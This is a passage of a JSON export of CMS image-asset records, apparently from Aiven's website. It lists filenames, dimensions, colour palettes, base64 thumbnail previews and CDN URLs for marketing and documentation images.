2PErxRIlTpZ0TUcacYdUdvGfon2UVSvDtY+MUiJor7KtF+nLIXAE5b4L9j5DoBaFTIHQSxEyF5F9D+stg9xaps0T0JMhdNEDr6XqDL1riORLerihvzOh5Mm1LZO5eiGlbhJmyGDN5IWbiK5hxnpjxnphJXphpczEz5mFmecvM8JJpfwWVhN3UjUsfGfdu3bJcLT110ZUdr1pbqOqSw1WXuoP6tAga0iNpyNhJQ6YVl/1dXNlRuPZG4doXPZqGfdFyx3UolUtlZ+/e7OqpNOpdV4/ExB7uenN1jFYst5qrV8Vq3VtJ2uC/R5vesSsoIEfBgbkKDDygwICD2hL8nrZsOazAoHz9yf89rfVzmH5v52tXTNk3VRc6rxtlFZ9fWrU2afAXMzbx9LTNTPO08MI8K3N/F68Ff0iR7+tZWvrGPi1euU8+K3L0+1V5WvqGQ0tWOnhxYQ4zXspm9qu5rNtUNFRa0XHNqKm7XG+Nzu9esz61d826tDtvb8z+KmibYygk7H3CQw4Ssf0AO0PyiNh+kIgQB9bIY1ijCgnfVfK/gG2F9/wDCu5u3lZ8JyXrQour6UuH0dV9J+RTZ0tcYXGt7dTpWtu584326s8un236rKnjUtm5/taPDw+3nchV24kDaivMH26tKB1orr34n5q6a+fLK9v3lpResZ3/W3tCnatrc8/tr192P9fHgUnA5O/yNObIEvp7kulsrKG5pJeaIyPUHjFpLv6KzoYG+m+mYw4vA37+3cyPgQmAx/8BpTBneOMrliIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#483834","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d65","foreground":"#fff","population":7.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6004","foreground":"#fff","population":15.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bcd6","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbbd6e","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7a60","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6004","foreground":"#fff","population":15.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"badge-aiven-live-london.png","path":"images/sczeoy4w/production/45e49916868ee97cddd83edfb5abcaf9c0cecad5-1887x1887.png","sha1hash":"45e49916868ee97cddd83edfb5abcaf9c0cecad5","size":59099,"uploadId":"WhwXc5itq7TRohfNA9o6icHAYF7noVxK","url":"https://cdn.sanity.io/images/sczeoy4w/production/45e49916868ee97cddd83edfb5abcaf9c0cecad5-1887x1887.png"} {"_createdAt":"2023-09-07T06:35:14Z","_id":"image-462fbcb3d006be1f324949dc2cc13327fecbe3e3-1200x628-png","_rev":"jBJgpqpGruZvOgVMUC1K58","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T06:35:14Z","assetId":"462fbcb3d006be1f324949dc2cc13327fecbe3e3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNE1.pe-?Ihf}sjFf6kCe.hfcYg3iIdB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABwUlEQVQokX3SvWvTURSH8XNvtHGoBQWxEmlCEDcVRBdLF0H3pi8xTUwai9qm+aV5b9FYYtpuIiI4FURoNxcX/fO+j9ykJbGDw1k/PJxzjEWDjMGSwYpB1mDNoGBQNCgbbBi8NnhrUDGoGtQM6gYtg45B12DXsCF2EcxNgOtjUJuGtj2qxVDdo6ZHnRjqehTAbgDPC1cvQW4KcjHIeyh6WPfwyo3BahztzaJ+Gh3cQYdpdJhEg5voXXyIjsBsHKK7sPcIohRUb0MjBc0UNBKoOgNbU6h9A32aR9+z6LSETvPoRwZ9e4L61ycKCzPQfwpfcrA/D73HcLAARwvQf4jaCYimUXcWfX2Gfkbodw/96aFfdXT8/AIYCitpaN2DanJUWE9CMwn1W2eFl9HONDp6gI4z6KSATs4KP99H76+MQC0ayhha9igbQzmP8g69dKjkUNmhDUNhh1seta+h/Tn0MYUGc2iQQB+uol03scPzSy///8psGmw7iDzacajpUNuN32ZYGOrCLBlaMfTC0JqhgqGiobKNC8PbVMK1DdUMNQy1DHVsWKfwh/+AqxfA0gT4JoAOVRyK3KiwMSpU1w2xAP4FvRTvMIdYUu4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#794a1f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b26d2f","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceb28e","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac06f","foreground":"#000","population":0.29,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7e64","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven + Blume 2000 SEO Image.png","path":"images/sczeoy4w/production/462fbcb3d006be1f324949dc2cc13327fecbe3e3-1200x628.png","sha1hash":"462fbcb3d006be1f324949dc2cc13327fecbe3e3","size":45952,"uploadId":"0RD8mq7VgFY2L932euMuAdeHCmp8c5qe","url":"https://cdn.sanity.io/images/sczeoy4w/production/462fbcb3d006be1f324949dc2cc13327fecbe3e3-1200x628.png"} {"_createdAt":"2024-03-12T11:26:26Z","_id":"image-4649c0bdaf3ef3d7883c591654ade46535065c57-4877x3245-jpg","_rev":"L3boCkkiM9On4ApfxO1XV2","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T11:26:26Z","assetId":"4649c0bdaf3ef3d7883c591654ade46535065c57","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJ7BjMXpK-x]XptobqpLxuo$OXoHxaxaoaxCt7j=S5bF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5029275808936826,"height":3245,"width":4877},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBBQYH/8QAIRAAAwACAgICAwAAAAAAAAAAAQIDAAQFEQYhEhMxUWH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAwUG/8QAHxEAAgEEAgMAAAAAAAAAAAAAAQIAAwQRIQXRIjFx/9oADAMBAAIRAxEAPwDkvllqc95XtEI9LUPfY/GLcVOXE7GwKtRLUQoigd+/7iQ3awuzSYqzAEkHIRm3zsVJM6RQsGB77zQ3gZ/IY966k2xCU0CEEnGJeaXMaetqzlb6y4HvvDMO9G+X7wwXmKqAKFGvvcU3E03YsSdz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293e52","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043182","foreground":"#fff","population":7.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b47c8e","foreground":"#fff","population":8.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3d6a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#657abb","foreground":"#fff","population":1.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b47c8e","foreground":"#fff","population":8.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0873e4","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AIVEN3918.jpg","path":"images/sczeoy4w/production/4649c0bdaf3ef3d7883c591654ade46535065c57-4877x3245.jpg","sha1hash":"4649c0bdaf3ef3d7883c591654ade46535065c57","size":10895841,"uploadId":"NfkDCqt6A6aQP9KfGtjIQyvlcwLndFIw","url":"https://cdn.sanity.io/images/sczeoy4w/production/4649c0bdaf3ef3d7883c591654ade46535065c57-4877x3245.jpg"} {"_createdAt":"2023-04-14T09:22:26Z","_id":"image-467a11375cd0e6f9fda3ee8a4780e3d37159d65f-1504x907-png","_rev":"gO4PimG2K28q9ZOw6pJ6VL","_type":"sanity.imageAsset","_updatedAt":"2023-04-14T09:24:31Z","altText":null,"assetId":"467a11375cd0e6f9fda3ee8a4780e3d37159d65f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7SFz}PTkC-B-;.SR5bHf5j[.mrXVYcYMK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6582138919514884,"height":907,"width":1504},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcklEQVQokZVSy24bMQz0/39UjDYIkhRp60sO7aE2nPXuWk+KpETK60OhXWPbBkWBzkEQRM1wqNEmDSdvDRGJiP4nNoUpZ865yIxSyroucnXG38laKzN77621xlhrrfc+hAAAzLwIrdA/tTaqCgBd1x32h/3+cDy+jeNorQ0hEFHOGRETJIREiCIyTdNlmnTmNzISGmP6U9/3gzEWABCRiEvJrW8uTESIzKxVr9frNE2/OnPmEJpt59zitsg8M7OGWI0r/YhvHXW9DOeL8RcfFElF3pNjjMuoqiqI8uNYHnd095TuntL2mbfP5f6zvH5X538jR++cDd5DjJiQmdqDM5djT4872n6iDy/5/mv5+EUedvLtoJButonI2rM5D84a1+BDuPUvCXm0PJh8dsV4Nb6aoKl51lobOWcCcDFagJYQQEJsnZvzNSqZn+EWvzTyYnu5I5JvlXdfbT1dqyLNdjcs5BbbnFydt/9ErU3uNMrDy08Bu6iOE8zeFgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#904f62","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc042c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0194a","foreground":"#fff","population":1.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cba0a3","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f28c9c","foreground":"#000","population":0.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5cac8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0194a","foreground":"#fff","population":1.06,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"github-authentication.png","path":"images/sczeoy4w/production/467a11375cd0e6f9fda3ee8a4780e3d37159d65f-1504x907.png","sha1hash":"467a11375cd0e6f9fda3ee8a4780e3d37159d65f","size":39553,"title":null,"uploadId":"TDQn0Hfueh230Mk3ZnKnvrY1vYqRpVlb","url":"https://cdn.sanity.io/images/sczeoy4w/production/467a11375cd0e6f9fda3ee8a4780e3d37159d65f-1504x907.png"} {"_createdAt":"2022-06-15T20:02:44Z","_id":"image-46c5179e9bf22fdf42dde47f08590747adf7a33a-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriOjd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:02Z","assetId":"46c5179e9bf22fdf42dde47f08590747adf7a33a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUP?O2?wyYDOxVGvnOeoS}sp-pIUeSxaT0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADLElEQVQokSXOz2/bdBgGcP8nXDggDiBulbhwgBvHaSBxQ+1IN2lIY1KiaZ1Yuwl5IFC3dkWjabd1rEtp1Q7xY3RKSWlLkzg4cX40jp3YcRw7tr9f22nstKWQ90Uph48e6Tk8ehi1aV2R6+3FmtxaEyXtB1HSVsWatlqtNYdW6oqx1LG7Cw4N45ruLPD5Svy3za3476mdBbmhxx0aLhI3XCY0fETcYIKp1prxfKEqZXNFj8uVSDZXpOmsQNPZAs1kBVIsy3bbdK22Qay9P7PWw0dLnenpu9Z8fNHKZPmO0fE6uuFSTXcahknXGE0nwxduTW6hVNfPiJJ2ZtgpzQ5apo7qwS6uPp3HWDSKkcg4Tk5OYSq1gw3FwEq1iUKpfiiU5CTj0PCZQ0PHJgHaJBjYJID/9c7ScVzwlSSY21HYmIvA5Ysfw/nzHwxuTU0OuHQGpJoyKBSqyP9V9rd3clsMcfsJ4vYJcftI3BCIGyJxA6C0h9QNwLNa0Be+geD525CZew9uR0fh4vg4PJi7D1UhD0qtBgIvYD7Hd7P7XJIhNEgQGhAyHKCHQGkXXeKjR9wzrlZGLxVF7+FrKEyP4L3PIxiLxXD23l1Mbf6C/P4upHe2kdv7w68L3EuG0m7CpT7xiDccGPiEgO/Y0HUs8KwOtMUcyBtRkL9+HdI334SZz87B1UsX4NaN6zA/NwOJ5e/hx/U13N964ZsHmU3Gd5yEb9uOb1vYtTuDQ9uAnt2GwG6B21ZBLmTh4DkL8pcjwF95BX4eewMef/I+PL32KSyzt2H52/uDF+srKGaSXqhwm0xPq694qkRJU0K/3cCwo2LfUvDIamC3JWKjyGE1+Qyl+TGUo2+hMfYqmqMjqF76ECuxq1h+MIvNvV+xV9/vDvTcSyas5WfcSo43q7xG1YrSNyX1uCOpJ6aoHrUrql3jVSmzpYo/facasxH1JPauChfeUU9Hz6nHE1H1ZP2J8o+4qw10rgg6t8QcqaWPeg3hhq8U7wStCntiVtm/zSp7albYU6PEHmsFlooZ1hK22WA3wf77ZIqFLy6z8NUEixuPWSynWGxxd7Cduwk6N/of8lbIPi3L9ZoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47342a","foreground":"#fff","population":0.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#564613","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f59a13","foreground":"#000","population":4.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c19a93","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4da51","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a889a","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59a13","foreground":"#000","population":4.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"46c5179e9bf22fdf42dde47f08590747adf7a33a-1567x844.png","path":"images/sczeoy4w/production/46c5179e9bf22fdf42dde47f08590747adf7a33a-1567x844.png","sha1hash":"46c5179e9bf22fdf42dde47f08590747adf7a33a","size":385286,"uploadId":"wKrDMFeoaY2uRULx7n3IUCQYMJRToAz1","url":"https://cdn.sanity.io/images/sczeoy4w/production/46c5179e9bf22fdf42dde47f08590747adf7a33a-1567x844.png"} {"_createdAt":"2022-07-20T13:52:35Z","_id":"image-46d48dd7332e2dda3b86e6f9d4eb1516fa203c79-1200x1200-png","_rev":"6dL6g4nysEm9xfErohbVc5","_type":"sanity.imageAsset","_updatedAt":"2022-07-20T13:52:35Z","assetId":"46d48dd7332e2dda3b86e6f9d4eb1516fa203c79","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHFX-f-mD%O=0jSu~8I:En-Te7D,R$s*Nz5BEKnnnO-o13JE%2=wr:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34484f","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04188c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f66b12","foreground":"#fff","population":3.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b89894","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d576","foreground":"#000","population":1.46,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697091","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f66b12","foreground":"#fff","population":3.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"man-sitting-with-laptop.png","path":"images/sczeoy4w/production/46d48dd7332e2dda3b86e6f9d4eb1516fa203c79-1200x1200.png","sha1hash":"46d48dd7332e2dda3b86e6f9d4eb1516fa203c79","size":284000,"uploadId":"fo4CJPPW6leXwhaAvAEO8GIBdzpcvfkF","url":"https://cdn.sanity.io/images/sczeoy4w/production/46d48dd7332e2dda3b86e6f9d4eb1516fa203c79-1200x1200.png"} {"_createdAt":"2022-12-06T22:15:59Z","_id":"image-46e51ed62248a06e2cb08fe3a962170e1607ba08-1200x399-png","_rev":"WyInRKefYSPCXTOlY3kG1k","_type":"sanity.imageAsset","_updatedAt":"2022-12-06T22:15:59Z","assetId":"46e51ed62248a06e2cb08fe3a962170e1607ba08","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DxFf8R|^,;SeE|n+n+jba|W.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.007518796992481,"height":399,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABnElEQVQokV2RwW5SYRCFfygVvGrRaMLCao1VjFg4H9ALxaYixRRbxFIujdWYxppqTY1lYdQaE1cu7WO46NL4Am58JaMu7piLLBoXJ5P5TnKSM+NsetdZdS1mlV7K/OCU+cFJ84Px35WuOyzfcdPKOyDSmKS4pOH+/2QkZ3NdZ7dantU6M1Zda4V+sBjO9i+a3x/zdD1ehiQwAUwCGSApKQGkIkmKfG/EY852zo5b/0bO7t7csfrS57B2/1NY6XXN72ealNOSCkAdaAENSQJKI1YHasDtEUs7202ftq3zD20je2gd/0fYaH63+fbBn+rq3Cp+tiBtAu+BPeA58AIYAB+BD8CrkfcIuOpskDpjLyc2bTvzxTay38J29as1Gwc/F5YWVoqz+YL0DNgHtoB1SU+BbUlRaBT0GHgAtIeB4Zt40l4nSrZ3omtPJpfDXqFj9yrLv1rzU81i6Vxh2JAqcE3SlKQrwGVJuciIQoBLwIV/lfeds3cuaW+dZ4PjiXA9dyzsz3gW5BOLZbm8FC+iOBCLjn7kuzFgyI/I/QUwv5cQk/K5SAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#653e2f","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b0c0b","foreground":"#fff","population":0.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6384a","foreground":"#fff","population":1.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b47b69","foreground":"#fff","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6384a","foreground":"#fff","population":1.97,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac6070","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7600a","foreground":"#fff","population":0.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-logo_RGB.png","path":"images/sczeoy4w/production/46e51ed62248a06e2cb08fe3a962170e1607ba08-1200x399.png","sha1hash":"46e51ed62248a06e2cb08fe3a962170e1607ba08","size":26899,"uploadId":"asENLrOrsflzOtlbaGmMwUl9UsrVne1X","url":"https://cdn.sanity.io/images/sczeoy4w/production/46e51ed62248a06e2cb08fe3a962170e1607ba08-1200x399.png"} {"_createdAt":"2023-04-03T10:37:24Z","_id":"image-46fc9c2abc2dcbd50d09f03cf59f368f788a8567-1080x608-gif","_rev":"IfootSjA4c56MZIbwrvjBs","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T10:37:24Z","assetId":"46fc9c2abc2dcbd50d09f03cf59f368f788a8567","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7763157894736843,"height":608,"width":1080},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBAj/xAAgEAABAwQCAwAAAAAAAAAAAAABAAIRAxIxUQQzYoHB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECA//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AM6u7J8UukRcfiWXunKnwnEclsb0tUkvtuOfaFdrGajiQM6CEG//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344058","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f7204","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#344058","foreground":"#fff","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1a6c4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8e396","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b1b169","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4b630","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"clickhouse-metabase-driver.gif","path":"images/sczeoy4w/production/46fc9c2abc2dcbd50d09f03cf59f368f788a8567-1080x608.gif","sha1hash":"46fc9c2abc2dcbd50d09f03cf59f368f788a8567","size":20816959,"uploadId":"HUI3gLz0EBSQIs6ERKAD7bFlyeg31DwQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/46fc9c2abc2dcbd50d09f03cf59f368f788a8567-1080x608.gif"} {"_createdAt":"2024-03-08T07:43:22Z","_id":"image-470bd7e658b7d84b407ec42f237b78933b0e038d-2174x1210-png","_rev":"QYGdEGGMhf311CDlzqrhuV","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:43:22Z","assetId":"470bd7e658b7d84b407ec42f237b78933b0e038d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA8zJxu65YZPMx3.pIz@Mfv$Evr:wJR:sF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.796694214876033,"height":1210,"width":2174},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC0ElEQVQokYXPyU8TcRTA8VdautEynZEulHm/mTJlhhY704XWulTZKsGwVcsmIIGgIoiKbVGxNUYtGgiRaBSIYGLCyfgPcHRJTIyaGI8e/As8qDcvNcWDHlR+ySfv8JJv3g8QUY/Imoid0TiTt0FZj6nljWajstFSrmy0GOX1ZjVcALi2dheo1x4YzcxAfukB/PMhIWaU/JTz8LTennqjqVk8r/Otxxnf4yY2sBJ3HsonLMn0eGl67ibMJK9B7/TJHYIcT7PhDlvl0JrVPvOS5uY2TcGVAUt4tY2NLXRXJ3JjeCZ3hbqxeE891XcZfIkDO13IMWwgbq3sW6YdMy/M7qubVOx2xtp5c5z0Zyf407lLjqvzi+X5pQea2YV5WHv0dDv42e//K0AkNLrcFjbUpnWkXpXWpJ5QBy/MOXomJ7nRqfN46twsNZvNl95ZvK9aGxyBrxW74FM4/L8gMoR1UhiIa6snnxnksWW6of